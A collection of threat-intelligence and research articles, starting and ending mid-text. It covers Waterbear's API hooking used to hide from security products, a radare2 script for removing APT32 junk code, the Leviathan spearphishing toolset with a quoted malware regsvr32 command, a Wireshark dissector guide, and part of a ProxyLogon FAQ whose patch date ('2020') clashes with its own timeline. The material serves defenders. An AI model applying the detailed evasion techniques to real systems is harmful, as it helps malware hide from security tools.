injected into the same service, which was, in this case, LanmanServer. We have observed that the loader tried to read the payloads from the files, decrypted them, and performed thread injections with the following conditions: 1. If the first payload could not be found on the disk, the loader would be terminated without loading the second one. 2. If the first payload was successfully decrypted and injected into the service, the second piece would also be loaded and injected regardless of what happened to the first thread. 3. In the first injected thread, if the necessary executable from the security product was not found, the thread would be terminated without performing other malicious routines. Note that only the thread would be terminated, but the service would still be running. Regardless if the API hooking was performed or otherwise, the second backdoor would still be executed after having been successfully loaded. ## API hooking to evade detection In order to hide the behaviors of the first-stage backdoor (which is the second payload), the first payload uses API hooking techniques to avoid being detected by a specific security product and to make an interference in the result of the function execution. It hooks two different APIs, namely "ZwOpenProcess" and "GetExtendedTcpTable", to hide its specific processes. The payload only modifies the functions in the memory of the security product process, hence the original system DLL files remain unchanged. The payload is composed of a two-stage shellcode. The first-stage shellcode finds a specific security product's process with a hardcoded name and injects the second-stage shellcode into that process. The second-stage shellcode then performs API hooking inside the targeted process. ## Hiding process identifiers (PIDs) The process identifiers or PIDs to be hidden are stored in the shared memory "Global\<computer_name>." If the shared memory doesn't exist, it takes the PID embedded by the first-stage shellcode. In this case, the intention of the malicious code is to hide Waterbear’s backdoor activities from the security product. Therefore, the first-stage shellcode takes the PID of the Windows Service — which the first-stage shellcode and the succeeding backdoor both inject into — hides the target process, and embeds that PID into the second-stage shellcode. ## Hooking "ZwOpenProcess" in ntdll.dll The purpose of hooking “ZwOpenProcess” is to protect the specific process from being accessed by the security product. Whenever “ZwOpenProcess” is called, the injected code will first check if the opened process hits any PIDs in the protected process ID list. If yes, it modifies the process ID, which should open on another Windows Service PID. First, it builds the hooked function and writes the function at the end of “ntdll.dll”. This function includes two parts: 1. The PID checking procedure. It recursively checks if the PID to be opened by “ZwOpenProcess” is in the list of the protected process IDs. If yes, it replaces the PID to be opened with another Windows Service PID that has been written by the Waterbear loader in the beginning. 2. After the PID checking procedure, it executes the original “ZwOpenProcess” and returns the result. Secondly, it writes "push <ADDRESS> ret" at the beginning of the original “ZwOpenProcess” address. Hence, when “ZwOpenProcess” is called, the modified version of “ZwOpenProcess” will be executed. The API hooking on “ZwOpenProcess” will only be triggered if "%temp%\KERNELBASE.dll" exists on the host. It is possible that this check is designed according to the nature of the security product it targets. ## "GetExtendedTcpTable" and "GetRTTAndHopCount" hooks in iphlpapi.dll The second part of API hooking hooks on “GetExtendedTcpTable.” “GetExtendedTcpTable” is used for retrieving a table that contains a list of TCP endpoints available to the application, and it is frequently used in some network-related commands, such as netstat. The purpose of the hook is to remove TCP endpoint records of certain PIDs. In order to achieve that, it modifies two functions: “GetExtendedTcpTable” and “GetRTTAndHopCount.” The second function, “GetRTTAndHopCount,” acts as the place to put the injected hooking code. “GetExtendedTcpTable” only writes a jump to “GetRTTAndHopCount” in the beginning of the function. Only the first 5 bytes of the code of the API "GetExtendedTcpTable" are changed. The rest of the routine is all placed in “GetRTTAndHopCount.” In the first part of the code, it pushes [“GetRTTAndHopCount”+0x3E] as the return address and then executes the first four instructions of the original “GetExtendedTcpTable” function (which has already been replaced by the jump instruction). After that, it jumps to “GetExtendedTcpTable” to execute the function normally and to catch its return values. After “GetExtendedTcpTable” is executed and the process returns back to the second part of the code, it iteratively checks every record in the returned TCP table. If any record contains the PID Waterbear wants to hide, it will remove the corresponding record, modify the record number inside the table, and continue to check the succeeding records. In the end, it returns the modified table. Rather than directly disabling these two functions, this method of using API hooking makes noticing malicious behaviors more difficult, especially since both functions still work and return results normally. Although in this case, the affected process is specified in the first-stage shellcode, the API hooking logic is quite generic that the same piece of shellcode can be used to hook other vendors' products. ## Conclusion This is the first time we’ve seen Waterbear attempting to hide its backdoor activities. By the hardcoded product name, we infer that the attackers are knowledgeable of the victims' environment and which security product(s) they use. The attackers might also be familiar with how security products gather information on their clients’ endpoints and networks, so that they know which APIs to hook. Since the API hooking shellcode adopts a generic approach, the similar code snippet might be used to target other products in the future and make the activities of Waterbear harder to detect. ## Tactics and Techniques | Tactic | Technique | ID | Description | |-------------------------|----------------------------|---------------------------------------|-------------| | Execution | Execution through Module Load | T1129 | Dynamically loads the DLLs through the shellcode | | Execution through API | T1106 | Dynamically loads the APIs through the shellcode | | Persistence | Hooking | T1179 | Hooks security product’s commonly used APIs | | Privilege Escalation | Process Injection | T1055 | Injects the decrypted payload into svchost.exe process | | Hooking | T1179 | Hooks security products’ commonly used APIs | | Defense Evasion | Binary Padding | T1009 | Adds junk data to evade anti-virus scan | | Disabling Security Tools | T1089 | Targets a specific security product’s process for injection purposes | | Deobfuscate/Decode | T1140 | Uses TROJ_WATERBEAR to decrypt encrypted payload | | Execution Guardrails | T1480 | Targets specific software in the victim’s environment | | DLL Side-Loading | T1073 | Uses modified legitimate DLL to load the malicious DLL | | Process Injection | T1055 | Injects the decrypted payload into svchost.exe process | | Exfiltration | Exfiltration Over Command and Control Channel | T1041 | Possibly sends collected data to attackers via C&C channel | ## Indicators of Compromise (IoCs) | SHA256 | Detection Name | |-----------------------------------------------------------------------------------------|-------------------------------------| | 649675baef92381ffcdfa42e8959015e83c1ab1c7bbfd64635ce5f6f65efd651 | BKDR_WATERBEAR.ZTGF | | 3909e837f3a96736947e387a84bb57e57974db9b77fb1d8fa5d808a89f9a401b | TROJ_WATERBEAR.ZTGD | | fcfdd079b5861c0192e559c80e8f393b16ba419186066a21aab0294327ea9e58 | TROJ_WATERBEAR.ZTGJ | | 3f26a971e393d7f6ce7bf4416abdbfa1def843a0cf74d8b7bb841ca90f5c9ed9 | TROJ_WATERBEAR.ZTGH | | abb91dfd95d11a232375d6b5cdf94b0f7afb9683fb7af3e50bcecdb2bd6cb035 | TROJ_WATERBEAR.ZTGH | | bda6812c3bbba3c885584d234be353b0a2d1b1cbd29161deab0ef8814ac1e8e1 | TROJ_WATERBEAR.ZTGI | | 53402b662679f0bfd08de3abb064930af40ff6c9ec95469ce8489f65796e36c3 | TROJ_WATERBEAR.ZTGH | | f9f6bc637f59ef843bc939cb6be5000da5b9277b972904bf84586ea0a17a6000 | TROJ_WATERBEAR.ZTGI | | 3442c076c8824d5da065616063a6520ee1d9385d327779b5465292ac978dec26 | BKDR_WATERBEAR.ZTGD | | 7858171120792e5c98cfa75ccde7cba49e62a2aeb32ed62322aae0a80a50f1ea | TROJ64_WATERBEAR.ZTGI | | acb2abc7fb44c2fdea0b65706d1e8b4c0bfb20e4bd4dcee5b95b346a60c6bd31 | BKDR_WATERBEARENC.ZTGF | | b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 | BKDR64_WATERBEAR.ZTGD | | 7c0d2782a33debb65b488893705e71a001ea06c4eb4fe88571639ed71ac85cdd | BKDR_WATERBEARENC.ZTGH | | c7c7b2270767aaa2d66018894a7425ba6192730b4fe2130d290cd46af5cc0b7b | BKDR_WATERBEARENC.ZTGI | | 7532fe7a16ba1db4d5e8d47de04b292d94882920cb672e89a48d07e77ddd0138 | BKDR_WATERBEARENC.ZTGI | | dea5c564c9d961ccf2ed535139fbfca4f1727373504f2972ac92acfaf21da831 | BKDR_WATERBEARENC.ZTGI | | 05d0ab2fbeb7e0ba7547afb013d307d32588704daac9c12002a690e5c1cde3a4 | BKDR64_WATERBEARENC.ZTGJ | | 39668008deb49a9b9a033fd01e0ea7c5243ad958afd82f79c1665fb73c7cfadf | BKDR_WATERBEARENC.ZTGD |
# Deobfuscating APT32 Flow Graphs with Cutter and Radare2 **Research by:** Itay Cohen **Date:** April 24, 2019 The Ocean Lotus group, also known as APT32, is a threat actor known to target East Asian countries such as Vietnam, Laos, and the Philippines. The group focuses on Vietnam, especially private sector companies investing in various industrial sectors. APT32 has also targeted foreign governments, dissidents, activists, and journalists. APT32’s toolset is wide and varied, containing both advanced and simple components, a mixture of handcrafted tools and commercial or open-source ones, such as Mimikatz and Cobalt Strike. It includes droppers, shellcode snippets, decoy documents, and backdoors. Many of these tools are highly obfuscated and seasoned, augmented with different techniques to make them harder to reverse-engineer. In this article, we explore one of these obfuscation techniques used in a backdoor of Ocean Lotus’ tool collection. We describe the technique and the difficulty it presents to analysts, and then show how bypassing this kind of technique is a matter of writing a simple script, provided you know what you are doing. ## Downloading and Installing Cutter Cutter is available for all platforms (Linux, OS X, Windows). You can download the latest release from the official site. If you are using Linux, the fastest way to get a working copy of Cutter is to use the AppImage file. If you want to use the newest version available, with new features and bug fixes, you should build Cutter from source. ## The Backdoor First, let’s look at the backdoor itself. The relevant sample (486be6b1ec73d98fdd3999abe2fa04368933a2ec) is part of a multi-stage infection chain, which has been seen employed in the wild. All these stages are typical for Ocean Lotus, especially the chain origin being a malicious document (115f3cb5bdfb2ffe5168ecb36b9aed54). The document purports to originate from Chinese security vendor Qihoo 360 and contains a malicious VBA Macro code that injects malicious shellcode into rundll32.exe. The shellcode contains decryption routines to decrypt and reflectively load a DLL file into memory. The DLL contains the backdoor logic itself. The backdoor decrypts a configuration file pulled from the file resource. The configuration file stores information such as the Command and Control servers. The binary then tries to load an auxiliary DLL into memory using a custom-made PE loader. This DLL, HTTPProv.dll, is capable of communicating with the C2 servers. The backdoor can receive various commands from the Command and Control servers, including shellcode execution, creation of new processes, manipulation of files and directories, and more. Many obfuscation techniques are used by Ocean Lotus to make their tools harder to reverse engineer. Most notably, Ocean Lotus uses an enormous amount of junk code in their binaries. The junk code makes the samples larger and more complicated, distracting researchers trying to analyze the binary. Decompiling some of these obfuscated functions is often a lost cause; the assembly frequently manipulates the stack pointer, and decompilers are not well-equipped to handle this kind of pathological code. ## The Obfuscation Upon analysis of the backdoor, one obfuscation technique can be immediately noticed: the heavy use of control flow obfuscation created by inserting junk blocks into the flow of the function. These junk blocks are meaningless noise that confuses the function's flow. As seen in the image, the block is full of junk code unrelated to the function's actual purpose. It’s best to ignore these blocks, but that’s easier said than done. A closer look at these blocks reveals that they are always being fail-jumped to by a conditional jump from a previous block. Furthermore, these junk blocks almost always end with a conditional jump that is the opposite of the conditional jump of the previous block. For example, if the condition above the junk block was `jo <some_addr>`, the junk block will most likely end with `jno <some_addr>`. If the block above ended with `jne <another_addr>`, the junk block will then end with `je <another_addr>`. With this in mind, we can begin structuring the characteristics of these junk blocks. The first characteristic of the obfuscation is the occurrence of two successive blocks that end with opposite conditional jumps to the same target address. The second characteristic requires the second block to contain no meaningful instructions such as string references or calls. When these two characteristics are met, we can say with high confidence that the second block is a junk block. In such a case, we would want the first block to jump over the junk block, which can be done by patching the conditional jump with an unconditional jump, i.e., a simple `JMP` instruction. ## Writing the Plugin The plugin presented below is written for Cutter but designed to be compatible with radare2 scripts, for those who prefer the CLI. This means we will use some radare2 commands through r2pipe, a Python wrapper to interact with radare2. This is the most effective and flexible way for scripting radare2. It’s not trivial to get the plugin to support both Cutter and radare2, since one is a GUI program and the other is a CLI. Luckily, Cutter supports r2pipe and can execute radare2 commands from inside its Python plugins. ### Writing the Core Class The first step is to create a Python class that will be our core class. This class will contain our logic for finding and removing the junk blocks. ```python class GraphDeobfuscator: def __init__(self, pipe): """An initialization function for the class Arguments: pipe {r2pipe} -- an instance of r2pipe or Cutter's wrapper """ self.pipe = pipe ``` Now we can execute radare2 commands using this pipe. The pipe object contains two major ways to execute r2 commands. The first is `pipe.cmd(<command>)`, which returns the results of the command as a string, and the second is `pipe.cmdj(<command>)`, which returns a parsed JSON object from the output of radare2’s command. The next step is to get all the blocks of the current function and iterate over each one of them using the `afbj` command, which stands for Analyze Function Blocks. ```python def clean_junk_blocks(self): """Search a given function for junk blocks, remove them and fix the flow. """ blocks = self.pipe.cmdj("afbj @ $F") if not blocks: print("[X] No blocks found. Is it a function?") return modified = False for block in blocks: # do something ``` For each block, we want to know if there is a block that fails in a case where the conditional jump would not take place. If a block has a block to which it fails, the second block is a candidate for being a junk block. ```python def get_fail_block(self, block): """Return the block to which a block branches if the condition fails Arguments: block {block_context} -- A JSON representation of a block Returns: block_context -- The block to which the branch fails. If not exists, returns None """ fail_addr = self.get_fail_addr(block) if not fail_addr: return None fail_block = self.get_block(fail_addr) return fail_block if fail_block else None ``` Next, we check whether our junk block candidate comes immediately after the block. If not, this is most likely not a junk block since junk blocks are located immediately after the blocks with the conditional jump. ```python def is_successive_fail(self, block_A, block_B): """Check if the end address of block_A is the start of block_B Arguments: block_A {block_context} -- A JSON object to represent the first block block_B {block_context} -- A JSON object to represent the second block Returns: bool -- True if block_B comes immediately after block_A, False otherwise """ return ((block_A["addr"] + block_A["size"]) == block_B["addr"]) ``` We also check whether the block candidate contains no meaningful instructions. For example, it is unlikely that a junk block will contain `CALL` instructions or references for strings. We will use the command `pdsb`, which stands for Print Disassembly Summary of a Block. ```python def contains_meaningful_instructions(self, block): '''Check if a block contains meaningful instructions (references, calls, strings,...) Arguments: block {block_context} -- A JSON object which represents a block Returns: bool -- True if the block contains meaningful instructions, False otherwise ''' summary = self.pipe.cmd("pdsb @ {addr}".format(addr=block["addr"])) return summary != "" ``` Lastly, we check whether the conditional jumps of both blocks are opposite. This will be the last piece of the puzzle to determine whether we are dealing with a junk block. We create a list of opposite conditional jumps. ```python jmp_pairs = [ ['jno', 'jo'], ['jnp', 'jp'], ['jb', 'jnb'], ['jl', 'jnl'], ['je', 'jne'], ['jns', 'js'], ['jnz', 'jz'], ['jc', 'jnc'], ['ja', 'jbe'], ['jae', 'jb'], ['je', 'jnz'], ['jg', 'jle'], ['jge', 'jl'], ['jpe', 'jpo'], ['jne', 'jz'] ] ``` Now that we have defined the validation functions, we can integrate these parts inside the `clean_junk_blocks()` function. ```python def clean_junk_blocks(self): """Search a given function for junk blocks, remove them and fix the flow. """ blocks = self.pipe.cmdj("afbj @ $F") if not blocks: print("[X] No blocks found. Is it a function?") return modified = False for block in blocks: fail_block = self.get_fail_block(block) if not fail_block or \ not self.is_successive_fail(block, fail_block) or \ self.contains_meaningful_instructions(fail_block) or \ not self.is_opposite_conditional(self.get_last_mnem_of_block(block), self.get_last_mnem_of_block(fail_block)): continue self.overwrite_instruction(self.get_block_end(block)) modified = True if modified: self.reanalize_function() ``` This concludes the core class. ## Cutter or Radare2? Our code will be executed either as a plugin for Cutter or straight from the radare2 CLI as a Python script. We need to determine whether our code is being executed from Cutter or from radare2. ```python try: import cutter from PySide2.QtWidgets import QAction pipe = cutter cutter_available = True except: import r2pipe pipe = r2pipe.open() cutter_available = False ``` If the script is run directly, we execute the `clean_graph()` function. ```python if __name__ == "__main__": graph_deobfuscator = GraphDeobfuscator(pipe) graph_deobfuscator.clean_graph() ``` ## Final Words Ocean Lotus’ obfuscation techniques are not the most complicated or hard to beat. In this article, we went through understanding the problem, drafting a solution, and implementing it using the Python scripting capabilities of Cutter and Radare2. The full script can be found in our GitHub repository. If you are interested in reading more about Ocean Lotus, we recommend a high-quality article published by ESET’s Romain Dumont, which contains a thorough analysis of Ocean Lotus’ tools and some exposition of the obfuscation techniques involved.
# Leviathan: Espionage Actor Spearphishes Maritime and Defense Targets ## Overview Proofpoint researchers are tracking an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has a long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe. ### Key Takeaways from this Research Include: - **Industry Targeting**: The actor targets defense contractors, universities (particularly those with military research ties), legal organizations, and government agencies. The actor has particular interest in naval industries including shipbuilding and related research. - **Geographical Targeting**: Targeting includes the United States, Western Europe, and the South China Sea. - **Tools**: Custom JavaScript malware known as “Orz” and “NanHaiShu”, Cobalt Strike, the SeDll JavaScript loader, and MockDll dll loader. - **Delivery**: Emailed attachments and URLs, often employing a fraudulent lookalike domain and stolen branding. - **Exploitation**: Microsoft Excel and Word documents with macros (sometimes password-protected), very recent vulnerabilities such as CVE-2017-0199 and CVE-2017-8759, and malicious Microsoft Publisher files. - **Installation**: JavaScript, JavaScript Scriptlets in XML, HTA, PowerShell, WMI, regsvr32, Squiblydoo. - **Lateral Movement**: The actor sometimes utilizes access at one compromised organization to attack the next. For example, compromised email accounts at one organization were used to send the next wave of malicious attachments to potential victims in the same industry. Similarly, the actor attempts to compromise servers within victim organizations and use them for command and control (C&C) for their malware. This blog traces key activities connected to this actor and examines a number of their tools and techniques. Campaigns and details are presented in reverse chronological order to highlight the group’s most recent activities. ## Delivery and Exploitation ### September 2017 On September 15 and 19, 2017, Proofpoint detected and blocked spearphishing emails from this group targeting a US shipbuilding company and a US university research center with military ties. Example emails used the subject “Apply for internship position” and contained an attachment “resume.rtf”. Another attachment, “ARLUAS_FieldLog_2017-08-21.doc” contained a “Torpedo recovery experiment” lure. The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign. ### August 2017 Between August 2 and 4, the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors. Some of this activity was documented and observed by a fellow researcher. Many of the documents, C&C domains, and payload domains abused the brand of a major provider of ships, submarines, and other vessels with military applications. Some of the documents exploited CVE-2017-0199 to deliver the payload. Other documents were Microsoft Publisher files that relied on social engineering. The potential victims were lured into starting an embedded PowerPoint presentation, moving the mouse to trigger execution of an embedded JavaScript, and then pressing “Enable” in a warning dialog to cause the payload download. The Publisher files were poorly crafted, relied on multiple user interactions, and contained multiple grammatical and typographic errors. ### February 2015 From February to October of 2015, our colleagues at F-Secure and McAfee reported on campaigns by this actor targeting South China Sea interests. During this time, the group utilized Microsoft Excel and Word documents with macros to target the Philippines Department of Justice, APEC organizers, and an international law firm. Targeting of these companies is different from that which we typically observe for this actor; however, it still centers around marine and naval issues as related to South China Sea politics. ### November 2014 The period between November 2014 and January 2015 marked one of the earlier instances in which Proofpoint observed persistent exploitation attempts by this actor. The actor generally emailed Microsoft Excel documents with malicious macros to US universities with military interests, most frequently related to the Navy. The actor also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations with military and intelligence ties during this period. Emails were often very simple with a greeting and an attachment. On other occasions, it appears that the attackers used highly topical lures based on current events or legitimate documents stolen from previous victims. Lure topics included symposia, the Navy, IT, and relevant research. ## Installation The actor continues to: - Innovate and modify the code that accomplishes the installation, while the backdoor code remains more static. - Use scripting languages such as JavaScript, JavaScript Scriptlets, VBScript, and XML. - Use simple obfuscation such as base64, gzip compression, and insertion of garbage characters. - Split functionality of the backdoor & code that establishes persistence for the backdoor into separate files and scripts. ### Example 1: resume.rtf The “resume.rtf” file from the September 19, 2017 attack retrieves the malicious SOAP WSDL definition named “readme.txt” using an anonymous FTP logon to the attacker’s server. This definition in turn downloads a VBScript favicon.ico file, which then creates and runs two JavaScript files in the %TMP% directory. The job of the smaller of the two JavaScripts is to establish a system autostart mechanism. It accomplishes this by deobfuscating another script, link.js, into %TMP%. Link.js in turn creates a shortcut file "Java(TM) Platform SE Auto Updater.lnk" in the "Startup" special folder pointing to the main backdoor JavaScript. The job of the larger of the two JavaScripts is to download and execute the Cobalt Strike payload. It accomplishes this by writing more code to rWug5n0PHUFjDFyb8k.js in the temporary directory, which then runs a PowerShell command (obfuscated using garbage characters, base64 encoding, and Gzip compression). The PowerShell is a default Cobalt Strike downloader. ### Example 2: Malicious Microsoft Publisher Document The malicious script executed by the Microsoft Publisher file downloads and runs yet another JavaScript file, 0.js, hosted on the attacker-controlled server. Similar to the previous example (resume.rtf), the 0.js handles the system autostart mechanism via a shortcut file "office 365.lnk" in the "Startup" special folder. However, the shortcut abuses the “Squiblydoo” technique. Moreover, the backdoor is not run directly but via an intermediary SeDll. 0.js also downloads two additional files from the C&C server (green.ddd and green.tmp). The first of these files, green.ddd, is an executable file internally named “SEDll_Win32.dll”. This is a known backdoor used by this actor since 2014 for the same purpose: decrypting and executing the final JavaScript backdoor “Orz”. ## Tools ### NanHaiShu We have observed variants of this JavaScript backdoor used in various campaigns, including those publicly reported. The actor continues to improve and refine the malware by, for example, wrapping it inside an HTA wrapper. Basic functionality includes: - Information gathering (computer name, user name, serial number, proxy server). - Downloading from URL. - Executing other JavaScript. - Registry, system, process, directory, file operations. - SafeIE (change IE settings to reduce warnings about malware activity). ### Orz We observed this backdoor in an August 2017 campaign dropped by the Microsoft Publisher files, as well as much earlier in 2014. We named it due to a variable name “orz”, which is changed to “core” in the more recent version. The actor consistently tweaks and improves this backdoor as well. The backdoor is a fairly involved script malware. Its functionality includes: - Information gathering (IE version, OS version, OS 64-bit/32-bit, etc). - Overwriting registry settings to reduce malware visibility on system. - Download file. - Upload file. - Execute a command with cscript. - Execute JavaScript. - Execute shell command. - Execute a dll (via an embedded ‘MockDll'). - Get proxy info. - Get process list. - Terminate process. - GET request to a URL. - POST request to a URL. There is an extensive configuration section at the top of the script. The "jumpUrlList" provides the initial C&C servers, which are used to determine the secondary C&C server as well as additional commands to execute. It is worth noting that the secondary C&C may be the same as the first. We have observed attacker-controlled web servers, compromised victim web servers, and Technet and Pastebin web pages used for the initial C&C. The initial C&C response is parsed with a regex. The backdoor first looks for the secondary encoded C&C server using the "jumpRegex" regex. Next, the backdoor looks for additional code to execute using the "codeRegex" regex. For additional code, we observed simple code blocks that provide a different upload/download functionality. ### MockDll Some versions of the Orz backdoor have 32- and 64-bit embedded DLLs, stored internally as base64 strings. Their purpose is to simply run another binary. These are used as loaders for future executable payloads, using the well-known process hollowing technique. To use the MockDll, the backdoor creates a configuration .ini file. After the configuration file is created, the MockDll is executed with regsvr32. MockDll reads the mentioned .ini config file to determine what to execute. It can log its execution results into a file specified by the “outf” parameter. ### SeDll This DLL is used for decrypting and executing another JavaScript backdoor such as Orz. The DLL is registered by the installer using regsvr32. The DllRegisterServer export is then called, which performs checks on the command line parameter. If the string “DR” is passed as an argument, or if the DLL is running in the active session with a username that is not “system”, the final JavaScript backdoor is decoded using a custom base64 alphabet. This backdoor has to be present in the same directory as the dll, with a “.tmp” file extension. The backdoor script is then executed using the IActiveScript and IActiveScriptParse32 COM interfaces. If those conditions are not met, it runs the following command line “"regsvr32 /s \"%s\" DR __CIM__"” to register the DLL, where %s is the path to the DLL. It tries to do this with the current user privileges, but if the privileges cannot be adjusted it defaults to the available execution environment. ### Cobalt Strike This is a penetration testing tool. The attackers often abuse the free trial version. ## Conclusion This actor, whose espionage activities primarily focus on targets in the US and Western Europe with military ties, has been active since at least 2014. The tools, techniques, and targets consistently connect their work, particularly given their attention to naval and maritime defense interests and use of custom backdoors. While defense contractors and academic research centers with military ties should always be cognizant of the potential for cyberattacks, organizations fitting their targeting profiles should be especially wary of legitimate-looking but unsolicited emails from outside entities. Appropriate layered defenses at the firewall, email gateway, and endpoint can all help prevent the kinds of lateral movement we have observed with this actor, as well as the compromise and abuse of systems via which this group expands its attack surface to other organizations.
# How to Dissect Unusual Protocols for Troubleshooting OT Security As OT security researchers, the Nozomi Networks Labs team continually works to understand OT and IoT device processes and their security risks. This includes understanding how assets like embedded controllers communicate with each other and their workstations. To do so, we need to reverse undocumented protocols. Unfortunately, the process of dissection can’t be standardized due to the unknown layers of complexity put in place by most vendors when they design systems. This is where the experience of security researchers can make a big difference. This is the first of a series of articles from Nozomi Networks Labs where we’ll demonstrate how to use Lua APIs to instruct Wireshark to properly dissect an undocumented protocol. In this blog, we look at the steps involved in developing a dissector for a real-world use case, the well-known Cisco Nexus protocol. We’ve also posted a plug-in on GitHub to help the security community at large. Whether you’re a security researcher yourself, or you manage networks for an asset owner, this methodology and plug-in will help you troubleshoot networking issues and improve overall OT security. It can be tedious and time-consuming to gain a complete understanding of the unknown protocols used by different security device vendors, but it’s possible to use Lua APIs to more easily dissect them. ## Determining How to Dissect Unknown Protocols One of the tools commonly used to kick-start the exploration process for an unknown protocol is Wireshark. With the right set of traffic/Pcaps – generated by forcing a specific type of communication between controllers – we can start analyzing the protocol. We begin by focusing our attention on patterns. Normally, when we start the protocol reverse engineering process, we’re confronted by an unknown language. We need to identify key elements that will help us understand the communication structure step-by-step (lengths, function codes, sequence numbers, CRC, etc.). Reverse engineering of protocols begins with focusing on unknown language patterns. Plugin scripts written in the Lua language can help dissect packets and validate research findings. While making assumptions during this phase, it helps to leverage one of Wireshark’s capabilities called plugins. These are scripts written in the Lua programming language that instruct the tool to dissect each packet using our findings. Plugins also allow us to validate findings with the collected and/or live traffic. **TIP:** You can also create your own dissectors directly using the native Wireshark C language in cases where performance needs to be fine-tuned. - Windows: `%APPDATA%\Wireshark\plugins` - Unix: `~/.local/lib/wireshark/plugins` - Mac: `~/.config/wireshark/plugins` ## Rockwell Ethernet/IP Dissection As you can imagine, the processes involved in gaining a complete understanding of an unknown communication language can be tedious and time-consuming. However, the end result is shareable knowledge (in the form of a plugin) that’s highly useful to others. For example, utility operators can benefit enormously from tools like this every time they need to troubleshoot specific scenarios within a normal industrial process operation. Rather than describe how to develop a Lua dissector from scratch (there’s already a lot of easily-found documentation out there), we’ll dive into some specific non-standard real-world use cases and how to deal with them. **TIP:** For those just starting their Lua dissection journey, take a look at Mika’s tech blog: Creating a Wireshark dissector in Lua – Part 1 (the basics). ## Registering a New Dissector ### Ethertype and Recall Our first challenge involves dealing with protocols that aren’t easily accessible by Wireshark – at least not in the standard way we’re used to. Let’s use Cisco Nexus as an example – a well-known protocol used between the NX-OS switch series. We’ll go through the steps involved in developing the related dissector (note we also reverse engineered its inner structure). First, the research team noticed that Wireshark doesn’t support the dissection of such a protocol. This means we have to do a bit of investigation and packet analysis in order to understand its structure. As far as Wireshark knows, we have an 802.1Q Virtual LAN frame. This is a commonly used standard for defining VLANs (Virtual LAN) with a pretty basic structure. The VLAN ID in place [0x8905] is non-standard. This is why the tool classifies it as an “unknown” type. Let’s assume that could be a good first indicator for a proprietary protocol, and keep it in mind for later. ### Unknown Protocol After a bit of deeper analysis on some interesting patterns in the “data” content of the packet, we determined that the structure is much simpler than expected. And, from a particular point, it is very similar to another common protocol in the industrial field. This proprietary protocol is actually a combination of a vendor-specific layer, plus a well-known protocol. **HINT:** Do those 0x88a4 bytes ring a bell? Luckily, the encapsulated protocol is already known by Wireshark. This means that we have to instruct the tool to subscribe (or tag) the unknown layer to properly and accurately detect it every time it’s seen over the wire. Now, recall the discovered encapsulated dissector mentioned earlier. ### Ethernet II Frame Structure Let’s start by writing down some code. First, we have to instruct Wireshark to link to our dissector every time it sees any Ethernet packet with the unknown Type ID: 0x8905. To link properly, we can force the `DissectorTable.get()` function to point in the specified frame area by indicating that we’re interested in referencing only the `ethertype` parameter [aka Type ID] and not the standard udp/tcp.port. ```lua -- initialize wrapper fields -- wrapper main function function cisco_nexus.dissector (buf, pkt, root) end -- subscribe for Ethernet packets on type 0x8905. local eth_table = DissectorTable.get("ethertype") eth_table:add(0x8905, cisco_nexus) ``` Next, we have to initialize a second dissector table that we’re going to recall at a specific offset. For this one, we’ll use a different approach: Lua gives us the ability to point at a specific known dissector every time we need it by using the `get_dissector()` function, and then use it through the `call()` function. Let’s see these functions in action. Because the nested protocol has a defined VLAN tag within the 802.1Q IEEE standard, we can store the DissectorTable related to it in the `original_vlan_dissector` variable at the initialization section of our script: ```lua -- load 802.1Q Virtual LAN dissector original_vlan_dissector = DissectorTable.get("ethertype"):get_dissector(0x8100) ``` And then call it at the right offset after the Cisco Nexus header, within the context of the main dissection function, precisely after the 4 header bytes: **TIP:** The first length check is done to ensure that we avoid any 0 byte packets, in case some are found. ```lua -- wrapper main function function cisco_nexus.dissector (buf, pkt, root) -- validate packet length is adequate, otherwise quit if buf:len() == 0 then return end pkt.cols.protocol = cisco_nexus.name -- create subtree for Cisco Nexus subtree = root:add(cisco_nexus, buf()) -- subscribes ECAT dissector original_vlan_dissector:call(buf:range(4,buf:len()-4):tvb(), pkt, subtree) end ``` The final result is a complete dissection of the entire packet structure. ## Using the Cisco Nexus Protocol to Create the Cisco Nexus Dissector Plugin In this article, we showed how to easily manage known and unknown layer 2 frames using Lua APIs, by instructing Wireshark to properly dissect them while the analysis is being done. To illustrate this, Nozomi Networks researchers used a real-world example of a previously unknown protocol: Cisco Nexus. During the background analysis, the team found that the proprietary protocol encapsulated a well-defined communication structure. We then leveraged this knowledge to test the following combinations of DissectorTable functions: - `.get(v1)` - `.get(v1):get_dissector(v2)` - `.get(v1):get_dissector(v2):call(v3,v4,v5)` The outcome of our research is a plugin called the Cisco Nexus Dissector. We’ve posted it on GitHub to help asset owners troubleshoot activities within their own networks. The global security community can also use it to further their analysis and research projects. Next month, Nozomi Networks Labs will investigate how to create a plugin for another unknown protocol found in commonly-used industrial communications equipment. Stay tuned!
# How Symantec Stops Microsoft Exchange Server Attacks Symantec's Intrusion Protection technology will block all attempted exploits of critical vulnerabilities. Users of Microsoft Exchange Server are advised to update to the latest version immediately, as a growing number of attackers are attempting to exploit four recently patched zero-day vulnerabilities in the software. Microsoft released emergency patches last week (March 2) for the four vulnerabilities, which were being exploited by attackers in the wild. At the time, Microsoft said these vulnerabilities were being exploited by an advanced persistent threat (APT) group it dubbed Hafnium (Symantec tracks this group as Ant) in targeted attacks. However, since then it has been reported that multiple threat actors have been rushing to exploit these vulnerabilities in Exchange Server. Two of the vulnerabilities (CVE-2021-26855 and CVE-2021-27065) and the technique used to chain them together for exploitation have been given the name “ProxyLogon” by security company DevCore. Successful exploitation of ProxyLogon allows attackers to gain a foothold on a targeted network, potentially leading to further compromise and data exfiltration. Symantec customers are protected from attacks exploiting these vulnerabilities. ## Q. When did we first find out about these attacks? Microsoft released an out-of-band patch to address the vulnerabilities in Exchange Server on March 2, 2020. The versions impacted are Exchange Server 2013, 2016, and 2019. Security firm Volexity, which Microsoft credited in its security alert detailing the vulnerabilities, said it first saw attackers exploiting the bugs on January 6, 2021. ## Q. Why are these vulnerabilities so dangerous? Successful exploitation of these vulnerabilities allows an unauthenticated attacker to execute arbitrary code on vulnerable Exchange Servers, allowing them to gain persistent system access, access to files and mailboxes on the server, and access to credentials stored on the system. Successful exploitation may also allow attackers to compromise trust and identity in a vulnerable network. This gives attackers extensive access to infected networks, allowing them to steal potentially highly sensitive information from victim organizations. ## Q. What are the 